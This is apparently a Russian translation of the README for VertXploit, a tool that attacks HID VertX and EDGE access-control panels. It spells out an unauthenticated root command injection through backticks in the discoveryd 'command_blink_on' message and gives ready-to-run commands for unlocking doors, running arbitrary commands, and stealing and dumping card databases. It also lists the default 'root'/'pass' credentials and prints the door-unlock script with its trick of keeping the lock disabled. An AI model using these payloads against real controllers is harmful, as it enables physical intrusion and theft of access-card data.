
Эксплуатация систем контроля доступа HID VertX и EDGE
Эксплуатация систем контроля доступа HID VertX и EDGE
VertXploit — это инструмент, который можно использовать для эксплуатации систем контроля доступа HID VertX и EDGE.
В службе discoveryd существует уязвимость, которая не выполняет очистку пользовательских данных перед вызовом системных функций. Это позволяет выполнять произвольный код на системах контроля доступа HID VertX и EDGE без аутентификации. См. раздел Command Injection для получения дополнительной информации.
VertXploit может разблокировать или заблокировать двери, подключенные к системе контроля доступа, загружать базы данных, содержащие все предоставленные/закешированные карты контроля доступа, и выполнять произвольные команды от имени root на системе VertX, если она уязвима.
Если прошивка контроллера VertX была недавно обновлена, vertXploit попытается разблокировать или заблокировать двери через веб-консоль, используя имя пользователя и пароль по умолчанию или указанные пользователем.
Выполните pip install -r requirements.txt для установки необходимых модулей Python.
Выполните ./vertXploit.py -h для показа меню справки или ./vertXploit.py ACTION -h для показа справки по конкретному действию.
Запустите vertXploit только с аргументом действия discover, чтобы обнаружить все системы контроля доступа HID в локальной широковещательной сети. Если указать IP-адрес с помощью необязательного аргумента --ip IP, vertXploit использует python-nmap для сканирования диапазона сети /24 на предмет систем с открытым портом 4050. Затем VertXploit отправит UDP-пакет обнаружения на указанный IP-адрес, чтобы определить, является ли эта система панелью контроля доступа HID.
Пример:
./vertXploit.py discover
./vertXploit.py discover --ip 10.1.10.5
После обнаружения контроллера запустите vertXploit с аргументом действия fingerprint и IP-адресом контроллера доступа, чтобы получить подробную информацию о панели контроля доступа.
Пример:
./vertXploit.py fingerprint 10.1.10.5
Чтобы разблокировать или заблокировать двери, подключенные к панели контроля доступа, запустите vertXploit с аргументом действия unlock или lock и IP-адресом контроллера. Если контроллер не уязвим к эксплуатации внедрения команд, vertXploit попытается разблокировать или заблокировать двери через веб-консоль. Этот метод использует имя пользователя по умолчанию 'root' и пароль по умолчанию 'pass', либо вы можете указать свои собственные с помощью аргументов --username USERNAME и --password PASSWORD.
Пример:
./vertXploit.py unlock 10.1.10.5
./vertXploit.py unlock 10.1.10.5 --username test --password test
Произвольные команды Linux могут быть выполнены в системе контроля доступа с помощью аргумента действия raw и IP-адреса контроллера. Команда может не выполниться, если она не установлена на контроллере (Python, Perl, Ruby и т. д.). В качестве простого доказательства концепции встроенная команда Linux 'ping', похоже, работает на всех протестированных моделях VertX и EDGE.
Пример:
./vertXploit.py raw 10.1.10.5 'ping -c 5 10.1.10.39'
Чтобы загрузить базы данных карт контроллера, запустите vertXploit с аргументом действия download и IP-адресом контроллера. Контроллер должен быть уязвим к уязвимости внедрения команд, и вы должны иметь доступ к веб-интерфейсу контроллера, чтобы загрузить обе базы данных карт. Для веб-аутентификации используются имя пользователя по умолчанию 'root' и пароль по умолчанию 'pass', либо вы можете указать свои собственные с помощью аргументов --username USERNAME и --password PASSWORD.
Пример:
./vertXploit.py download 10.1.10.5
./vertXploit.py download 10.1.10.5 --username test --password test
После загрузки баз данных 'IdentDB' и 'AccessDB' с контроллера используйте аргумент действия dump, чтобы выгрузить содержимое баз данных. При желании можно указать локальный путь к файлам баз данных с помощью аргумента --path PATH.
Пример:
./vertXploit.py dump
./vertXploit.py dump --path /root/VertX/DBs/
Обычно несколько контроллеров доступа VertX или EDGE устанавливаются и размещаются вместе. Диагностическая команда command_blink_on может быть отправлена на конкретный контроллер, что заставляет физический светодиод "Comm" панели мигать для визуальной идентификации. Эта команда обычно завершается количеством миганий светодиода, в данном случае 30 раз.
command_blink_on;044;00:11:22:33:44:55;30;
Заменив количество миганий на команду Linux, заключённую в обратные кавычки, команда будет выполнена на контроллере доступа от имени root.
command_blink_on;044;00:11:22:33:44:55;`ping -c 5 10.1.10.39`;
Чтобы удаленно разблокировать и заблокировать двери, подключенные к системе контроля доступа, команды записываются в /tmp/a. Это делается потому, что существует ограничение длины в 41 символ, не считая двух обратных кавычек, которое может быть отправлено контроллеру. Примечание: echo используется вместо printf, потому что на некоторых старых контроллерах VertX работает BusyBox < 1.0.1, который не включает printf.
Символы новой строки, появляющиеся при записи команд в файл, затем удаляются выполнением tr -d '\n' < /tmp/a > /tmp/b, а намеренные новые строки вставляются выполнением tr '!' '\n' < /tmp/b > /tmp/a.
Затем выполняется скрипт /tmp/a, и оба файла удаляются. Ниже показано, какие команды записываются в /tmp/a, когда команды разблокировки и блокировки отправляются на контроллер VertX.
# Set QUERY_STRING to the door unlock value
export QUERY_STRING="?ID=0&BoardType=VXXX&Description=Strike&Relay=1&Action=1"
# Run 'diagnostics_execute.cgi' script
/mnt/apps/web/cgi-bin/diagnostics_execute.cgi
# Remove executable permissions to prevent the door from locking
chmod -x /mnt/apps/web/cgi-bin/diagnostics_execute.cgi
# Enable executable permissions
chmod +x /mnt/apps/web/cgi-bin/diagnostics_execute.cgi
# Set QUERY_STRING to the door lock value
export QUERY_STRING="?ID=0&BoardType=VXXX&Description=Strike&Relay=1&Action=0"
# Run 'diagnostics_execute.cgi' script
/mnt/apps/web/cgi-bin/diagnostics_execute.cgi